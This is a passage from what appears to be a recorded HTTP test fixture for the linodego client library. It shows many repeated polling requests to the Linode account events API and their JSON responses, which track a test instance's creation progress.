550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.041675, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.111975, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.178797, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.247225, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.308954, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.371444, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.439705, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.501621, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.55962, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.624536, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.695868, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.766233, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": null, "rate": null, "duration": 7.827902, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.074265, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.274218, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.331611, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.397821, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, "duration": 8.472241, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: 